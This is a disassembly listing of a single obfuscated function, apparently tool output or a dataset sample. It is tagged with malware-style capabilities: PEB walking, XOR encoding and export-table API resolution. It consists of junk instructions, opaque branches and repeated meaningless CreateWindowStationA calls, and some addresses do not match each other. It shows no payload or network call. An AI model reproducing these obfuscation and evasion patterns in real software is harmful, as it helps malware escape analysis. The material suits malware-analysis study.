Function at 0x4030ae
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push 0
push esp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x89
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x4010e7
lea ecx, [eax + 0x7c]
push 0
push dword [0x4063d8]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 8
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xa7
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0x438ca882
cmp eax, 0x62e55dbe
jne 0x401096
mov ecx, 0x90543e94
cmp ecx, esp
jne 0x40108c
xchg ah, al
mov edx, ecx
mov ecx, eax
mov eax, 0x8e272f8
and edx, 0x6c
inc ecx
mov al, dh
test ebp, ebp
je 0x4010a9
lea ecx, [ecx + 0x682]
dec ecx
sub edx, 0x3d
xor cl, cl
jne 0x4010df
lea eax, [eax + edx*4]
mov eax, 0xe83891d0
mov edx, ecx
lea ecx, [edx - 2]
inc ecx
mov edx, ecx
mov ecx, eax
test edx, edx
jne 0x4010d6
shl edx, 3
xor eax, eax
inc ecx
test esp, esp
je 0x4010cf
add ecx, ecx
neg edx
inc ecx
add ecx, 0x68
add edx, 0xffffff87
and dl, 0x1b
sub ecx, 0xffffffd8
add cx, cx
sub ah, 0x83
sub ecx, 0x2b
jmp 0x4010e9
shl eax, 1
je 0x401178
push 0
push edx
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
push 0
push ecx
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor edx, edx
jne 0x401117
mov ecx, edx
sub ecx, 0xffffffd1
inc ecx
jmp 0x40111a
add eax, 0xffffffda
cmp edx, esp
je 0x40116d
lea ecx, [ecx + ecx*4]
mov edx, eax
lea eax, [edx - 0x46]
xchg dl, cl
mov ah, ch
mov ecx, 0x3e594177
dec edx
mov cl, dh
dec eax
mov dh, ah
lea eax, [edx + edx*8]
xor cl, cl
cmp ecx, 0x4b
je 0x401150
add edx, 7
lea eax, [eax + 0xfa8]
xor ecx, ecx
lea edx, [edx - 0x79]
sub eax, 0x46
lea ecx, [ecx - 0x25]
add cl, al
add ecx, 0x4b
lea ecx, [ecx + 0x1d]
mov eax, 0x56af5c3
and edx, 0x32f27a2d
inc eax
lea edx, [edx + 0x1001]
mov cx, 0xa2d5
mov dh, cl
and ecx, 0x58
jmp 0x4011ba
cmp ecx, 0x47
je 0x401183
lea ecx, [ecx + 0xe0b]
test esp, esp
je 0x40119a
inc edx
add ch, 0x13
sub edx, 0x12
sub dl, 0x37
add edx, 0x4f
add edx, 9
add eax, 0xffffffee
shr eax, 0xf
add edx, 0xffffffe2
cmp edx, ecx
jne 0x4011a7
mov edx, eax
xchg ecx, eax
inc ecx
add dh, dh
test esp, esp
je 0x4011b1
sub cx, ax
add eax, 0xd
sub eax, 0xffffff9c
add eax, 0xffffffd2
push 0
push str.QIgQ6vplfP3h
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x149
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, 0x56f922ce
add ah, 0x37
inc eax
push 0
push 3
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x40121c
mov edx, eax
dec edx
neg edx
mov ecx, eax
shr ecx, 0x1f
lea edx, [edx - 0x4f]
test esp, esp
jne 0x40120b
mov eax, 0xaff3bc69
sub al, al
dec edx
add edx, 0xffffffab
lea eax, [eax + 0x995]
jmp 0x401482
cmp ecx, esp
je 0x401466
mov ecx, 0xf62a00fa
push 0
push 2
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
cmp eax, 0xffffffd8
je 0x40124f
dec eax
mov edx, eax
mov dh, 0xbf
test esp, esp
je 0x401247
mov dl, 0x6e
sub eax, 0xffffffa4
mov ecx, eax
sub eax, 0xfffffff9
lea eax, [ecx + eax]
lea ecx, [edx + 0xa59]
push 0
push dword [str.bpjxN1Vtp.AIv]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
dec eax
push 0
push dword [0x407c20]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xfffffffffffffff1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
dec eax
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, 0xb3ab2672
push 0
push 0x49
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x629
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x4062f8]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 5
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x91
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x401
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
and ecx, 0xfffffffc
mov edx, 0x6927429f
push 0
push 0x4064c8
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 2
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0xd7051ac6
mov edx, eax
cmp eax, 0x237cc3f7
jne 0x4013a3
cmp eax, 0xe954101b
jne 0x401364
rol edx, 0x18
test ebp, ebp
je 0x40135b
xor eax, eax
dec eax
add edx, 0xffffffe8
dec edx
mov ecx, eax
shr eax, 0x18
add edx, 0x73
cmp ebp, 0xf9b8be44
je 0x401376
lea ecx, [ecx + 0x4f]
sub eax, 0x38
add ecx, ecx
inc eax
inc eax
mov dh, ch
not edx
mov ecx, edx
neg ecx
dec ecx
test esp, esp
jne 0x401397
dec ecx
mov edx, ecx
lea edx, [edx + 0x3e]
neg eax
lea ecx, [edx + eax*2]
not edx
lea eax, [ecx + 0x4b]
add edx, edx
mov ecx, eax
inc edx
add edx, 0xffffff8f
lea eax, [ecx + 0x21]
mov ecx, edx
shl eax, 3
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x4072ec]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xffffffffffffff80
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
inc eax
push 0
push dword [0x4060c8]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xc5
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x40
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
sub eax, 0xfffffff0
xor ecx, ecx
lea ecx, [ecx + 0x7e0]
jne 0x40143d
test esp, esp
je 0x40141b
inc eax
lea eax, [eax + 0x205]
dec ecx
add ecx, 0xffffffe9
inc ecx
add ecx, 0xffffffb0
mov ch, 0x17
xor edx, edx
mov cx, 0xcca3
test edx, edx
je 0x401430
mov dh, cl
mov ecx, edx
add eax, 0xffffffb7
lea ecx, [ecx + eax*2]
add eax, 0xffffffa4
jmp 0x401444
mov ecx, eax
mov edx, 0x72e27f84
mov eax, edx
add cx, cx
sub edx, edx
cmp eax, 0xa4375d70
jne 0x40145e
mov eax, ecx
add ch, ah
inc ecx
dec edx
inc eax
neg eax
add eax, 0xffffffd7
inc eax
xchg edx, eax
add ecx, 0x1d
lea eax, [eax + eax*2]
mov eax, ecx
add edx, ecx
cmp ecx, edx
je 0x401475
mov ecx, edx
sub ecx, 0x61
add eax, eax
add ecx, eax
sub edx, 0xfffffff6
mov eax, edx
add ecx, 0xfffffff2
sub eax, 0x6c
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x406664
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x407aa8
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [str.vuICcMGUamhRN]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x4014e4
lea edx, [eax - 0x51]
xor eax, eax
mov ecx, edx
add ecx, 0x6b
add edx, 0xffffff8a
add eax, 0xd
dec ecx
sub edx, 0x4d8ab74d
add ecx, 0xffffffaa
sub edx, 0xffffffaa
jmp 0x4014e7
sub ch, 0x53
push 0
push 0x4079fc
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
add eax, 0x49
push 0
push 0x30
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x4016b7
cmp esp, 0x29
je 0x401527
mov eax, 0x13fc7a73
inc eax
push 0
push 0xffffffffffffffa0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x401578
xor ecx, ecx
sub edx, edx
inc ecx
test edx, edx
je 0x401551
mov eax, edx
mov edx, ecx
add edx, 0xfffffffc
and edx, 0xffffff9c
mov ecx, 0x1486054d
dec ecx
dec eax
lea ecx, [ecx + eax*2]
mov eax, ecx
mov ecx, edx
lea edx, [eax - 0x72]
rcr edx, 1
sub ecx, 0xfffffff7
dec edx
lea eax, [ecx + 0xaf8]
sub eax, 0xffffffee
add eax, 0xffffffb3
inc eax
shl edx, 0x1b
add edx, ecx
mov ch, dl
inc ecx
jmp 0x4015c9
lea edx, [edx + 0xbd5]
lea eax, [eax - 6]
inc eax
add eax, 0xffffffd9
lea eax, [eax + 0xda6]
lea ecx, [ecx + edx*2]
add dh, 0xe7
test esp, esp
je 0x4015a9
dec eax
mov ecx, edx
add eax, ebp
inc edx
add eax, 0x73
add ch, ch
add ecx, 0x6e
shl eax, 0x17
add ecx, 0xffffffb6
add edx, ecx
add ecx, 0xf
xor dh, dh
neg eax
cmp ecx, eax
je 0x4015bc
lea eax, [edx + 0xa46]
mov ecx, edx
sub edx, 0xffffffe9
lea ecx, [eax + ecx]
mov ecx, 0x7b9a6e22
dec eax
cmp ecx, edx
jne 0x401697
push 0
push ecx
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xd2
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
lea eax, [eax + 0x743]
mov ecx, 0x5d36de45
push 0
push 0x43
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, 0x2560d856
cmp esp, 0xab1fa4ff
jne 0x40162c
add edx, 0xffffffe1
xchg edx, eax
lea eax, [eax - 0x77]
and eax, 0x27
mov ecx, eax
sub eax, 0x28
lea ecx, [ecx + 0x1a]
shl edx, 0xe
dec ecx
push 0
push 0x2c7
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
lea ecx, [eax - 0x25]
mov edx, 0x1990002e
add edx, 0x4a
sub edx, 0x6a
add edx, 0x71
mov dx, 0xe6b9
mov eax, ecx
test edx, edx
je 0x40165e
xor edx, edx
add eax, 0x15
inc edx
xor ecx, ecx
and eax, 0x4b
sub eax, 0x3f
inc edx
shl edx, 6
je 0x401672
inc eax
sub eax, 0xffffffeb
jmp 0x401678
shr eax, 0x13
shl edx, 1
inc eax
shl eax, 0x14
sbb ecx, 0x2e
test ecx, ecx
je 0x40168a
inc edx
sub eax, 0x13
add ecx, ecx
add eax, eax
test ebp, ebp
je 0x40168f
inc eax
add edx, eax
sub dh, 0xcf
add eax, 0x23
add eax, 0xffffffb9
lea eax, [eax - 0x79]
cmp ecx, ebp
je 0x4016a7
and edx, 0xffffff86
xor ax, ax
add edx, edx
rcr ecx, 0x13
dec edx
add edx, ecx
and edx, 0xffffffd5
jmp 0x40173e
push 0
push 0x121
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test esp, esp
je 0x4016ce
add eax, ebp
push 0
push 0x20
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
add eax, 0xffffffbc
je 0x4016ed
mov ecx, eax
lea edx, [ecx + eax*2]
lea eax, [edx - 0x24]
sub ecx, ebp
jmp 0x4016f3
mov edx, ecx
sub dl, 0xfb
dec edx
sub ecx, ebp
shr eax, 0x15
lea eax, [eax + 0x8e0]
lea ecx, [ecx + 0x22e]
sub ecx, 0xffffff9d
test edx, edx
je 0x40171c
lea eax, [eax + 0x615]
lea ecx, [ecx + 0x10e0]
xor ecx, eax
xor eax, eax
inc eax
cmp eax, 0x18c8b578
je 0x401739
dec edx
shr edx, 0x1c
add edx, 0x26
mov eax, ecx
add eax, 0x51
inc edx
xor eax, 6
add eax, 0xffffff9e
sub ecx, 0xfffffff8
shr ecx, 7
add edx, ecx
push 0
push dword [0x407bd8]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x4fb
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x40179f
lea eax, [eax + 0x34]
mov ecx, eax
dec eax
sub eax, 0xffffff84
and eax, 0x1e
mov edx, eax
test ah, ah
je 0x40178d
dec edx
shl ecx, 0xc
mov eax, edx
sub ecx, 0x700af9d1
mov ax, 0xbeed
add eax, edx
mov edx, ecx
shl ecx, 2
dec ecx
add ecx, 0x73
add ecx, 0x74eb2e87
not edx
dec eax
add eax, 0xffffff8a
dec ecx
jmp 0x4017a0
dec eax
push 0
push 0x325
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, eax
push 0
push 0x406828
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
add eax, 0x75
jne 0x401813
xor ecx, ecx
add ecx, 0xffffff8a
cmp ecx, 0xeb500bc4
je 0x4017db
mov edx, 0xbb04b3be
cmp ebp, 0xffffffbf
je 0x4017e3
shr eax, 0x13
and edx, 7
cmp ecx, eax
je 0x4017f6
mov eax, edx
sub eax, 0x73
lea ecx, [eax - 0x16]
dec ecx
shr eax, 0xe
xor edx, 0x4f
xor ecx, ebp
inc edx
dec eax
not edx
and eax, 0xffffff9f
add eax, 0xa
add eax, 9
and edx, 0x10
and eax, 0xfffffffe
add edx, 0xfffffff1
jmp 0x40181a
lea ecx, [ecx + 0x37c]
dec edx
je 0x40196b
push 0
push 0x407ec4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x2b3
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
sub eax, 0xffffffa2
cmp eax, 0x7b6686e5
jne 0x401852
dec eax
mov edx, eax
not eax
dec eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
rcr eax, 8
xor edx, edx
test edx, edx
jne 0x40186c
inc eax
push 0
push 4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x40189d
xor eax, eax
inc eax
shl eax, 4
mov edx, eax
mov eax, 0x16006189
dec eax
jmp 0x40192c
sub edx, eax
push 0
push 0x82
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x18
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor ecx, ecx
add ecx, 0x6f
mov edx, 0xb41bcd6e
inc ecx
neg ecx
mov cl, al
inc ecx
mov eax, 0xc3430758
inc ecx
xchg dl, cl
sub ecx, 0x6f
xchg ecx, edx
je 0x401912
inc edx
add edx, 0x99359347
neg edx
cmp esp, 0x42
je 0x40190b
and eax, 0x5e
xchg dl, dh
test eax, eax
je 0x401909
mov eax, edx
lea edx, [eax + 0xce2]
mov eax, edx
sub eax, 0x1d
sub cl, al
jmp 0x401920
lea eax, [eax + ecx*4]
add edx, edx
dec eax
mov ecx, eax
dec edx
add edx, 0x7a
mov al, dh
add al, 0x88
lea edx, [edx - 0x65]
sub ah, ch
mov ecx, 0x62560486
cmp esp, 0x2d
je 0x401943
lea ecx, [ecx + 0x102b]
add edx, edx
sub ecx, 0xffffff85
and edx, 0xffffffbf
add eax, ebp
neg edx
test ecx, ecx
jne 0x40194f
mov ecx, eax
xor eax, eax
add eax, 0x69
inc eax
sub eax, 0xfffffffb
add eax, 0xffffffe0
sub edx, 0x9eed3b31
not edx
sub edx, 0x131da9b9
xchg dh, cl
inc eax
jmp 0x401b0f
jne 0x4019c0
shl ecx, 0x12
inc ecx
neg edx
xchg ecx, edx
test esp, esp
jne 0x401989
add eax, 0x5c
dec ecx
shl edx, 1
sub al, 0x89
lea edx, [edx + ecx]
mov edx, ecx
add edx, 0xffffff8d
lea eax, [eax + 0x55]
sub ax, bp
cmp esp, 0x45
je 0x4019a6
mov ecx, edx
dec eax
add dl, 0x9b
cmp ecx, eax
je 0x4019a6
mov eax, ecx
add al, 0x6b
mov ecx, eax
xor ch, ch
cmp edx, 0x1d
je 0x4019b9
add edx, 0xffffffe5
shl eax, 0x1f
dec edx
sub ecx, 0x4996fb77
inc ecx
sub ecx, edx
jmp 0x401a41
je 0x4019c6
mov edx, ecx
jmp 0x4019df
add ch, 0x3b
add eax, 0xffffffde
cmp edx, ecx
je 0x4019d6
mov edx, eax
add ecx, 0x4a
dec ecx
inc edx
mov eax, 0x2a624e3d
xor ax, ax
cmp ebp, 0xffffff94
je 0x4019f1
add edx, edx
sub edx, 0xffffffed
sub ecx, 0xffffffd6
add ch, cl
inc edx
not eax
shl eax, 1
add dh, 0x57
add edx, 0xffffffc1
inc ecx
dec eax
and al, 0x9b
cmp ecx, eax
jne 0x401a0c
sub edx, 0x5c182e6a
add eax, 0x29
not edx
add eax, 0xffffffce
mov ecx, edx
sub eax, 0x20
add dh, 0x77
cmp ecx, eax
jne 0x401a31
xor ecx, eax
and eax, 0xffffffcb
shr ecx, 0x17
add eax, ebp
inc edx
add edx, 0xffffffed
inc ecx
xchg edx, ecx
dec eax
xor dl, al
xchg dl, ch
xor eax, eax
sub eax, 0xffffffa2
lea ecx, [ecx - 0x71]
sub eax, 0x1743602c
add edx, edx
inc edx
push 0
push dword [0x40673c]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x4069cc]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test eax, eax
je 0x401ab3
test ebp, ebp
je 0x401a87
xor ecx, ecx
cmp ebp, 0x6f
je 0x401a7a
add ecx, 0x1f
lea edx, [eax + 0x16]
add edx, 0x1f
mov eax, ecx
mov ecx, edx
xor edx, edx
add edx, 0xffffffcb
dec ecx
dec eax
test edx, edx
jne 0x401a8d
dec ecx
cmp esp, 0xffffffe3
je 0x401aa8
dec ecx
lea edx, [edx + edx]
add eax, 0xffffffc3
dec edx
sub eax, 0xffffffa4
inc eax
sub ecx, 0xfffffff8
add eax, 0xffffffdc
add ecx, 0x78
inc eax
add edx, 0x40
add edx, 0xffffffb4
dec ecx
shr edx, 3
xchg edx, eax
mov ah, dh
and edx, 0xffffffcf
sub eax, 0xffffffcf
cmp eax, 0x94111ecb
je 0x401acc
test ah, ah
je 0x401acc
add ecx, ecx
shl ecx, 0x11
dec edx
je 0x401ad6
mov eax, 0xc4a761a4
inc ecx
jmp 0x401adb
dec edx
add eax, 0x3b
inc eax
je 0x401ae1
add eax, eax
xor al, al
test eax, eax
je 0x401b04
mov eax, ecx
mov ecx, 0xeeaca908
lea eax, [eax + 0x1085]
shl ecx, 6
sub ecx, 0xffffff8b
sub ecx, esp
add dl, ah
sub eax, 0x6f
sub eax, 0xffffffc5
dec ecx
inc edx
add ah, dl
add eax, 0xffffffe1
add edx, ecx
dec edx
sub edx, 0x69
and ecx, 0x75
cmp edx, ecx
je 0x401bc2
jne 0x401b24
mov ecx, eax
sub edx, 0xffffffb0
dec edx
jmp 0x401b5a
xor ch, al
test ebp, ebp
je 0x401b30
shl eax, 0x1c
xchg edx, eax
not eax
xchg ecx, edx
je 0x401b39
add eax, 0xffffffef
jmp 0x401b3a
dec ecx
and ecx, 0xffffff92
add ecx, 0x1bf19572
mov cl, dl
mov edx, ecx
add edx, edx
mov ecx, eax
mov eax, edx
add edx, edx
dec ecx
inc eax
and ecx, 0xffffffee
lea edx, [ecx + edx*4]
shr edx, 1
inc edx
push 0
push 0x1b7
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, eax
mov al, dh
mov ecx, edx
sub edx, 0x10
inc edx
test ecx, ecx
je 0x401b7f
lea ecx, [edx + eax*2]
mov eax, edx
inc eax
test esp, esp
jne 0x401b86
lea edx, [edx + 0x48]
add ch, 0xa7
add eax, 0xffffffa3
and eax, 0x20
cmp edx, 0xffffffca
je 0x401bbb
cmp eax, esp
je 0x401ba2
mov cl, dl
mov eax, edx
sub ecx, 0x6b
sub eax, 0x66
inc eax
dec edx
shr ecx, 0x1a
add edx, 0x7b
dec edx
lea eax, [eax - 0x31]
dec eax
dec eax
lea edx, [edx - 0x35]
dec edx
xchg cl, dl
not eax
sub edx, 0xffffffdb
lea eax, [eax + edx]
and ecx, 0xffffffe8
dec ecx
mov eax, ecx
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xf3
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x407960
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [str.9l0U_mjwPsokN]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x281
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xc
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x11
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x401ed2
mov edx, eax
push 0
push dword [0x406c90]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x407478
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xffffffffffffffc2
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x201
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xf1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x406e54]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x8d1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x407264
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x401cf8
and eax, 0xffffffb3
jmp 0x401d50
add eax, 0x1b
mov ecx, eax
lea edx, [eax + ecx*4]
shr ecx, 0x1b
dec eax
lea eax, [eax + 0x5f1]
xchg dh, ah
dec eax
cmp esp, 0xfffffff1
je 0x401d18
inc ecx
xchg ecx, edx
inc edx
add eax, esp
inc ecx
add ecx, 0x30
inc ecx
inc edx
add ecx, ebp
inc edx
sub ecx, 0xffffffe6
add edx, 0x16
shr eax, 1
sub edx, 0xffffff8d
dec eax
add eax, 0x34
cmp ecx, eax
je 0x401d4a
mov ecx, edx
dec ecx
sub edx, eax
sub ecx, 0x52
mov eax, edx
dec edx
sub ecx, eax
sub edx, 0xfffffffb
lea eax, [eax + 0x8e3]
not eax
add eax, 0x67
inc ecx
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x87
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x401dd0
lea edx, [eax + eax*8]
xor ecx, ecx
cmp edx, ecx
jne 0x401d7c
sub eax, 3
cmp esp, 0x56
je 0x401d86
lea ecx, [eax + 0x79]
inc ecx
dec edx
sub edx, 0x7c
xor eax, eax
lea eax, [eax - 0x3f]
test ecx, ecx
jne 0x401d99
mov ecx, edx
add ecx, ecx
sub eax, 0x4a
mov edx, eax
lea eax, [eax - 0x6f]
cmp edx, 0x2a8ce365
je 0x401dbf
xor cx, cx
test esp, esp
jne 0x401db3
add eax, 0xffffffeb
add eax, 0xffffffc8
xchg ch, al
test cl, cl
je 0x401dba
dec ecx
and ecx, 0x7c
mov edx, eax
dec ecx
mov cl, 1
add edx, 0x5b
sub edx, 0x51
add ecx, 0xffffffb5
mov eax, edx
inc ecx
jmp 0x401df6
add ecx, 0x2e
sub eax, 0xffffffcc
cmp ebp, 0x4bd6355f
je 0x401de6
mov edx, 0x7a193aec
add eax, 0xffffffc7
shl eax, 6
mov dh, ch
mov ecx, eax
and eax, 0x26
shl edx, 0x1f
add ecx, 0xffffffea
test ebp, ebp
jne 0x401e00
add ecx, 0xbe61e16e
cmp ecx, 0xffffff98
je 0x401e5b
add edx, 0x12
dec ecx
cmp eax, ecx
jne 0x401e0f
mov eax, ecx
add eax, 0x27
shl eax, 1
jne 0x401e2f
test dl, dl
je 0x401e1b
inc eax
lea ecx, [edx + 0x39]
dec edx
lea edx, [edx + 0x7b]
dec edx
add eax, eax
add ecx, 0xc
sub ecx, 0x49
inc eax
inc ecx
jmp 0x401e36
lea ecx, [ecx + eax*2]
mov eax, ecx
mov ecx, edx
cmp ebp, 0x70
je 0x401e3d
mov dl, ah
mov eax, edx
add edx, esp
inc ecx
add edx, 0x42
lea ecx, [eax + ecx*2]
add ecx, 0xfffffffa
add ecx, 0xffffff92
add eax, 0x15a279f5
inc edx
sub ax, ax
xchg edx, eax
add eax, 0xffffff8f
push 0
push ecx
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x401e72
add eax, 0xfffffff6
add eax, 0x69
jmp 0x401eb5
inc eax
add eax, 0x47
add eax, 0xffffffe4
mov ecx, eax
mov edx, eax
and eax, 0x50
test eax, eax
jne 0x401e93
sub ecx, 0xfffffff6
mov eax, ecx
lea ecx, [eax - 0x58]
lea eax, [ecx + eax]
xchg ecx, edx
mov eax, ecx
cmp edx, esp
je 0x401e9d
mov ecx, 0xd25f27b2
inc edx
mov dh, dl
and edx, 0xf17c2625
add ecx, 0xf06fbda4
lea eax, [eax + 0x2a]
shl ecx, 0xa
dec edx
add ecx, 0x16
lea ecx, [ecx + edx]
mov ecx, eax
mov edx, ecx
inc edx
mov eax, edx
sub cl, 0xfb
rcl edx, 0x13
and edx, 0xffffffc8
add edx, 0xffffffa0
xor dl, dl
shl eax, 0x15
jmp 0x401ee7
cmp eax, edx
jne 0x401edc
lea eax, [ecx + ecx]
inc eax
inc edx
inc eax
rcl ecx, 0x15
add edx, 0xffffff8d
and eax, 0xffffffbe
not edx
dec eax
push 0
push 0x90a
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x291
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x20
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x406810]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x40217a
mov edx, 0xdf6a03b5
jne 0x401f3e
mov eax, edx
shr edx, 0x1a
jmp 0x401f81
dec eax
mov ecx, edx
add eax, 0xffffffc8
cmp edx, ebp
je 0x401f66
add eax, 0xffffffc2
test ebp, ebp
jne 0x401f59
shr edx, 4
shr eax, 9
neg ecx
inc edx
inc edx
lea ecx, [ecx + ecx*8]
add cl, 0x4f
xor edx, ecx
sub ecx, 0xffffff81
xchg edx, ecx
shl edx, 0x1a
test ecx, ecx
je 0x401f6e
inc eax
lea ecx, [edx + eax*2]
lea ecx, [ecx + edx*2]
mov eax, edx
rcr eax, 3
and eax, 0x57
mov edx, eax
sub edx, 0xffffffe5
xor ecx, ecx
cmp ecx, eax
jne 0x401f8e
mov ecx, edx
mov eax, 0x8df2f124
and ah, 0xcb
push 0
push 0xffffffffffffffc5
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x99
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, eax
lea eax, [eax + 0x104]
mov ecx, eax
dec eax
push 0
push dword [str.bpjxN1Vt]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
lea eax, [eax + 0xc56]
je 0x401fdc
mov edx, eax
and eax, 0xffffff9b
jmp 0x402038
sub edx, 0x1d
lea edx, [edx + 0xd9f]
xor ecx, ecx
mov ax, 0x8b00
sbb edx, edx
dec eax
add al, 0xc8
inc edx
rol edx, 0x1b
sub eax, 0x3a
add ecx, ebp
mov ch, dh
mov edx, eax
inc eax
inc eax
test ecx, ecx
jne 0x40200c
add edx, 0x854b35be
sub edx, 0x7a
je 0x402027
shr edx, 1
add edx, ecx
add eax, 0xffffff83
inc eax
add edx, 0x39
mov ecx, edx
xor edx, edx
xor dh, ch
mov ecx, edx
add ecx, 0x3e
dec ecx
jmp 0x40202d
dec edx
